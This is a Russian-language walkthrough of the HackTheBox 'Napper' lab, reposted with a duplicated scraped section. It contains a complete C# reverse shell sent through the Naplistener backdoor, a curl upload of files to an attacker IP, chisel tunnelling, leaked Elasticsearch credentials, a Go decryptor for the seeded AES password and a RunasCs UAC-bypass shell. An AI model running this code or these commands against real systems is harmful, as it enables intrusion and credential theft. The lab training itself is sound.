stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы с тобой повысим привилегии в Windows через вскрытое нами приложение на Go. Для этого разберемся с шифрованием, а затем напишем декриптор при помощи ChatGPT. Также на нашем пути встретится бэкдор Naplistener, который мы используем для проникновения в систему.
Наша цель — получение прав суперпользователя на машине Napper с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел всего два открытых порта: 80 и 443 — служба Microsoft IIS 10.0. При этом поле CommonName сертификата SSL на порте 443 содержит доменное имя, к которому применяется сертификат. Добавляем этот домен в файл /etc/hosts и идем смотреть сайт.
Главная страница сайта
Содержимое поста
На этапе разведки, если у нас есть домен, никогда не помешает запустить сканер поддоменов. Давай сделаем это.
Для сканирования я использую утилиту Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Для просмотра ссылки Войдиили Зарегистрируйся
Спустя пару минут нашли еще один поддомен. Добавляем его в /etc/hosts.
Basic-авторизация
На сайте нас встречает Basic-аутентификация. Используем найденные ранее учетные данные и получаем доступ к сайту с единственным постом.
Главная страница сайта internal.napper.htb
Содержимое поста
Возможно, этот бэкдор присутствует на сервере, поэтому проверим, не откроется ли страница /ews/MsExgHealthCheckd.
Запросы в Burp History
Такая страница есть, поэтому разберемся, как работает бэкдор. Как указано в Для просмотра ссылки Войдиили Зарегистрируйся, страница /ews/MsExgHealthCheckd принимает POST-запрос и выполняет сборку .NET, закодированную в Base64 и переданную в параметре sdafwe3rwe23.
Исходный код бэкдора
Для теста я решил проверить, какими будут ответы сервера, если отправить POST-запрос с нужным параметром и без него.
Запрос без параметров
Запрос с параметром sdafwe3rwe23
Ответы сервера отличаются, а значит, параметр был обработан. Это свидетельствует о наличии бэкдора на сервере. Теперь напишем реверс‑шелл на языке C#. В коде должен быть класс Run и соответствующий метод.
Запускаем листенер на локальном хосте:
И выполняем запрос к серверу, где передаем закодированную сборку .NET.
Запрос на сервер
Почти мгновенно получаем бэкконект и забираем первый флаг.
Сессия на сервере
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост исполняемый файл для Windows и запустим сканирование. В выводе будет много информации, поэтому ищем только важные моменты, которые помогут в продвижении.
В системе есть дополнительный администратор — учетная запись backup.
Список пользователей
На хосте работает служба Elasticsearch 8.8.0.
Активные службы
Также в каталоге Temp на диске C: есть каталог www, предположительно относящийся к веб‑серверу.
Содержимое каталога C:\Temp
При изучении этой папки становится понятно, что здесь расположен сайт internal, но тут не один пост, а два.
Посты в блоге
Скрытый пост сообщает о том, что пароль пользователя backup хранится в базе Elastic.
Содержимое поста
Проблема в том, что пароль зашифрован и для работы используется какой‑то специальный клиент, который расположен во вложенном каталоге.
Содержимое каталога internal-laps-alpha
Для загрузки файлов с удаленного хоста очень удобно использовать Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запускаем сам веб‑сервер:
На удаленном хосте, с которого нужно увести файл, для загрузки используем curl.
Загрузка файла
Но для работы с Elasticsearch нам нужны учетные данные.
Список файлов с паролями
Файлов найдено не так много, поэтому просто читаем каждый из них. Находим учетные данные Elastic вот в таком файле:
Содержимое файла \_se.cfs
Осталось подключиться к службе. Но так как ее порт открыт только для адреса 127.0.0.1, нам нужно построить сетевой туннель, для чего пригодится утилита Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p):
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 9200 нашего локального сервера на порт 9200 удаленного сервера 127.0.0.1.
В логах сервера мы должны увидеть сообщение о создании сессии.
Логи chisel server
Для подключения к Elasticsearch и дальнейшей работы я буду использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся.
Настройки подключения к Elastic
Главная страница Elastic
Вкладка Indices
По индексу seed хранится значение поля seed, а по индексу user-00001 — поле с зашифрованными данными blob. При этом данные меняются приблизительно раз в минуту.
Значение seed
Значение user-00001
Теперь загружаем найденный исполняемый файл в дизассемблер с возможностью декомпилятора (я использую IDA Pro). Функция main_main типична для Golang. А значит, мы можем использовать особенность строк в Go: они хранятся не как последовательность символов с null-байтом в конце, а как структура, содержащая строку и ее длину.
При запуске программы читаются данные Elastic из файла .env.
Дизассемблированный код функции main_main
После этого приложение делает запрос к базе и обращается к записи seed, а затем — к записи user-00001.
Для просмотра ссылки Войдиили Зарегистрируйся
Запись в базе
Но между ними вызываются функции randStringList, genKey и encrypt. Чтобы было легче с ними разобраться, пройдем их в режиме отладки. Первым делом создадим файл .env, содержащий параметры для подключения к базе.
А затем перейдем к функции randStringList. Эта функция принимает в качестве параметра длину генерируемой строки, а возвращает случайную строку.
Дизассемблированный код функции randStringList
Результат функции randStringList (сгенерированная строка)
Как видно из кода, генерируемая строка будет длиной 40 байт (28h). В следующий раз эта сгенерированная строка будет использована в функции main_encrypt, куда также будет передан результат выполнения функции main_genKey. При этом сама функция main_genKey принимает в качестве параметра значение seed.
Дизассемблированный код приложения
Функцию main_genKey удобнее рассмотреть в декомпилированном виде. Она начинается с вызова rand.Seed (строка 23), куда передается значение seed. Эта функция устанавливает зерно для рандома, на основании которого будут в дальнейшем сгенерированы псевдослучайные данные. Потом будет сгенерирована 16-значная псевдослучайная последовательность (строки 24–32).
Декомпилированный код функции genKey
Так, у нас есть созданный на основании seed ключ шифрования и есть случайная строка. Эти данные передаются в функцию main_encrypt, где и происходит шифрование по алгоритму AES CFB.
Декомпилированный код функции main_encrypt
Чтобы больше понимать код функции шифрования, лучше поискать аналогичные исходные коды, как, например, в Для просмотра ссылки Войдиили Зарегистрируйся.
Исходный код для шифрования AES CFB
В том же репозитории представлена и функция для расшифровки, а нам это еще пригодится.
Исходный код для расшифровки AES CFB
Зашифрованная в функции main_encrypt строка записывается в базу Elastic для хранения.
Дизассемблированный код приложения
А затем создается процесс cmd.exe, выполняющий команду смены пароля пользователю backup. В качестве пароля будет использоваться сгенерированная 40-значная строка, которая была зашифрована и записана в базу Elastic.
Дизассемблированный код приложения
Параметры команды cmd.exe
Таким образом, мы можем получить пароль пользователя backup, у которого есть права администратора. Для этого необходимо узнать значение seed, на его основе сгенерировать ключ, затем получить значение blob и расшифровать при помощи ключа. Перейдем к написанию кода.
Запрос к ChatGPT
Здесь нужно убрать лишний импорт, а в остальном код полностью рабочий.
Значения из базы Elastic
Теперь осталось взять найденный код для расшифровки пароля, добавить генерацию ключа из seed и объединить с уже имеющимся кодом.
Для просмотра ссылки Войдиили Зарегистрируйся
Все операции нужно делать быстро, так как пароль меняется раз в минуту. Запускаем новый листенер (rlwrap nc -lvp 5432) и выполняем реверс‑шелл от имени другого пользователя с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Запуск RunasCs
И сразу же получаем новую сессию от имени пользователя backup.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Napper с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.240 napper.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел всего два открытых порта: 80 и 443 — служба Microsoft IIS 10.0. При этом поле CommonName сертификата SSL на порте 443 содержит доменное имя, к которому применяется сертификат. Добавляем этот домен в файл /etc/hosts и идем смотреть сайт.
10.10.11.240 napper.htb app.napper.htb

Точка входа
На главной странице много постов. Внимательно изучаем их и находим инструкцию по Basic-аутентификации на каком‑то ресурсе. В инструкции указаны учетные данные.
На этапе разведки, если у нас есть домен, никогда не помешает запустить сканер поддоменов. Давай сделаем это.
Для сканирования я использую утилиту Для просмотра ссылки Войди
- -u — URL;
- -w — словарь;
- -t — количество потоков;
- -H — HTTP-заголовок;
- -fs — фильтр по размеру.
ffuf -u "[URL]https://napper.htb/[/URL]" -H 'Host: FUZZ.napper.htb' -t 128 -w subdomains-top1million-110000.txt -fs 5602
Для просмотра ссылки Войди
Спустя пару минут нашли еще один поддомен. Добавляем его в /etc/hosts.
10.10.11.240 napper.htb app.napper.htb internal.napper.htb

На сайте нас встречает Basic-аутентификация. Используем найденные ранее учетные данные и получаем доступ к сайту с единственным постом.

Главная страница сайта internal.napper.htb
Точка опоры
Здесь упоминается бэкдор Naplistener в службе Microsoft Exchange.
Содержимое поста
Возможно, этот бэкдор присутствует на сервере, поэтому проверим, не откроется ли страница /ews/MsExgHealthCheckd.

Такая страница есть, поэтому разберемся, как работает бэкдор. Как указано в Для просмотра ссылки Войди

Для теста я решил проверить, какими будут ответы сервера, если отправить POST-запрос с нужным параметром и без него.


Ответы сервера отличаются, а значит, параметр был обработан. Это свидетельствует о наличии бэкдора на сервере. Теперь напишем реверс‑шелл на языке C#. В коде должен быть класс Run и соответствующий метод.
Код:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace payload
{
public class Run
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
Run runInstance = new Run();
}
public Run() {
using (TcpClient client = new TcpClient("10.10.16.33", 4321))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
После компиляции исполняемого файла его нужно будет закодировать в Base64 с помощью PowerShell.
[convert]::ToBase64String((Get-Content -path "payload.exe" -Encoding byte))
Запускаем листенер на локальном хосте:
rlwrap nc -lvp 4321
И выполняем запрос к серверу, где передаем закодированную сборку .NET.

Почти мгновенно получаем бэкконект и забираем первый флаг.


Продвижение
Мы в системе, а значит, пора собирать информацию для повышения привилегий. Я по традиции буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост исполняемый файл для Windows и запустим сканирование. В выводе будет много информации, поэтому ищем только важные моменты, которые помогут в продвижении.
В системе есть дополнительный администратор — учетная запись backup.

На хосте работает служба Elasticsearch 8.8.0.

Также в каталоге Temp на диске C: есть каталог www, предположительно относящийся к веб‑серверу.

При изучении этой папки становится понятно, что здесь расположен сайт internal, но тут не один пост, а два.

Скрытый пост сообщает о том, что пароль пользователя backup хранится в базе Elastic.

Проблема в том, что пароль зашифрован и для работы используется какой‑то специальный клиент, который расположен во вложенном каталоге.

Для загрузки файлов с удаленного хоста очень удобно использовать Для просмотра ссылки Войди
python3 HTTPServerWithUpload.py 80
На удаленном хосте, с которого нужно увести файл, для загрузки используем curl.
C:\Windows\System32\curl.exe -v -X POST [URL]http://10.10.16.33/[/URL] -H "Content-Type: multipart/form-data" -F file=@".\a.exe"

Но для работы с Elasticsearch нам нужны учетные данные.
Пароль от Elasticsearch
Для поиска паролей в файлах Elasticsearch переходим в каталог службы и в директории data запускаем поиск всех файлов, содержащих подстроку passw.findstr /s /i /m "passw" .\*

Файлов найдено не так много, поэтому просто читаем каждый из них. Находим учетные данные Elastic вот в таком файле:
.\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_se.cfs

Осталось подключиться к службе. Но так как ее порт открыт только для адреса 127.0.0.1, нам нужно построить сетевой туннель, для чего пригодится утилита Для просмотра ссылки Войди
./chisel.bin server -p 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 9200 нашего локального сервера на порт 9200 удаленного сервера 127.0.0.1.
.\chisel.exe client 10.10.16.33:8888 R:9200:127.0.0.1:9200
В логах сервера мы должны увидеть сообщение о создании сессии.

Для подключения к Elasticsearch и дальнейшей работы я буду использовать утилиту Для просмотра ссылки Войди

Настройки подключения к Elastic

Главная страница Elastic
Локальное повышение привилегий
Если перейти на вкладку меню Indices, можно найти две записи.
По индексу seed хранится значение поля seed, а по индексу user-00001 — поле с зашифрованными данными blob. При этом данные меняются приблизительно раз в минуту.

Значение seed

Теперь загружаем найденный исполняемый файл в дизассемблер с возможностью декомпилятора (я использую IDA Pro). Функция main_main типична для Golang. А значит, мы можем использовать особенность строк в Go: они хранятся не как последовательность символов с null-байтом в конце, а как структура, содержащая строку и ее длину.
При запуске программы читаются данные Elastic из файла .env.

После этого приложение делает запрос к базе и обращается к записи seed, а затем — к записи user-00001.
Для просмотра ссылки Войди

Но между ними вызываются функции randStringList, genKey и encrypt. Чтобы было легче с ними разобраться, пройдем их в режиме отладки. Первым делом создадим файл .env, содержащий параметры для подключения к базе.
Код:
ELASTICURI=https://172.16.135.1:9200
ELASTICUSER=elastic
ELASTICPASS=oKHzjZw0EGcRxT2cux5K
А затем перейдем к функции randStringList. Эта функция принимает в качестве параметра длину генерируемой строки, а возвращает случайную строку.


Как видно из кода, генерируемая строка будет длиной 40 байт (28h). В следующий раз эта сгенерированная строка будет использована в функции main_encrypt, куда также будет передан результат выполнения функции main_genKey. При этом сама функция main_genKey принимает в качестве параметра значение seed.

Функцию main_genKey удобнее рассмотреть в декомпилированном виде. Она начинается с вызова rand.Seed (строка 23), куда передается значение seed. Эта функция устанавливает зерно для рандома, на основании которого будут в дальнейшем сгенерированы псевдослучайные данные. Потом будет сгенерирована 16-значная псевдослучайная последовательность (строки 24–32).

Так, у нас есть созданный на основании seed ключ шифрования и есть случайная строка. Эти данные передаются в функцию main_encrypt, где и происходит шифрование по алгоритму AES CFB.

Чтобы больше понимать код функции шифрования, лучше поискать аналогичные исходные коды, как, например, в Для просмотра ссылки Войди

В том же репозитории представлена и функция для расшифровки, а нам это еще пригодится.

Зашифрованная в функции main_encrypt строка записывается в базу Elastic для хранения.

А затем создается процесс cmd.exe, выполняющий команду смены пароля пользователю backup. В качестве пароля будет использоваться сгенерированная 40-значная строка, которая была зашифрована и записана в базу Elastic.


Таким образом, мы можем получить пароль пользователя backup, у которого есть права администратора. Для этого необходимо узнать значение seed, на его основе сгенерировать ключ, затем получить значение blob и расшифровать при помощи ключа. Перейдем к написанию кода.
Декриптор
Давай попробуем попросить ChatGPT накидать код, который будет обращаться к базе и получать нужные значения из базы Elastic.
Здесь нужно убрать лишний импорт, а в остальном код полностью рабочий.
Код:
package main
import (
"crypto/tls"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
)
func main() {
url := "https://127.0.0.1:9200/_search?q=*"
username := "elastic"
password := "oKHzjZw0EGcRxT2cux5K"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Ошибка при создании запроса:", err)
return
}
req.SetBasicAuth(username, password)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Ошибка при выполнении запроса:", err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("Ошибка при чтении тела ответа:", err)
return
}
var response map[string]interface{}
err = json.Unmarshal(body, &response)
if err != nil {
fmt.Println("Ошибка при разборе JSON:", err)
return
}
hits, ok := response["hits"].(map[string]interface{})
if !ok {
fmt.Println("Не удалось получить данные hits из ответа")
return
}
hitsArray, ok := hits["hits"].([]interface{})
if !ok {
fmt.Println("Не удалось получить массив hits из ответа")
return
}
for _, hit := range hitsArray {
hitData, ok := hit.(map[string]interface{})
if !ok {
fmt.Println("Не удалось получить данные hit из ответа")
return
}
source, ok := hitData["_source"].(map[string]interface{})
if !ok {
fmt.Println("Не удалось получить данные _source из ответа")
return
}
seed, ok := source["seed"].(float64)
if ok {
fmt.Printf("Значение seed: %v\n", int32(seed))
}
blob, ok := source["blob"].(string)
if ok {
fmt.Printf("Значение blob: %s\n", blob)
}
}
}

Теперь осталось взять найденный код для расшифровки пароля, добавить генерацию ключа из seed и объединить с уже имеющимся кодом.
Код:
...
iSeed := int64(0)
for _, hit := range hitsArray {
hitData, ok := hit.(map[string]interface{})
if !ok {
fmt.Println("Не удалось получить данные hit из ответа")
return
}
source, ok := hitData["_source"].(map[string]interface{})
if !ok {
fmt.Println("Не удалось получить данные _source из ответа")
return
}
seed, ok := source["seed"].(float64)
if ok {
iSeed = int64(seed)
fmt.Printf("Значение seed: %v\n", iSeed)
}
blob, ok := source["blob"].(string)
if ok {
fmt.Printf("Значение blob: %s\n", blob)
rand.Seed(iSeed)
key := make([]byte, 16)
for i := range key {
key = byte(1 + rand.Intn(254))
}
decodedBlob, err := base64.URLEncoding.DecodeString(blob)
if err == nil {
iv := decodedBlob[:aes.BlockSize]
encPassword := decodedBlob[aes.BlockSize:]
block, _ := aes.NewCipher(key)
stream := cipher.NewCFBDecrypter(block, iv)
decPassword := make([]byte, len(encPassword))
stream.XORKeyStream(decPassword, encPassword)
fmt.Printf("Password: '%s'\n", string(decPassword))
}
}
}
...
Для просмотра ссылки Войди
Все операции нужно делать быстро, так как пароль меняется раз в минуту. Запускаем новый листенер (rlwrap nc -lvp 5432) и выполняем реверс‑шелл от имени другого пользователя с помощью Для просмотра ссылки Войди
RunasCs.exe backup bFYPKwOpjceZeDRJrcIjytwMAnCMEZiTnVNlVVWU cmd.exe -r 10.10.16.33:5432 --bypass-uac

И сразу же получаем новую сессию от имени пользователя backup.

Машина захвачена!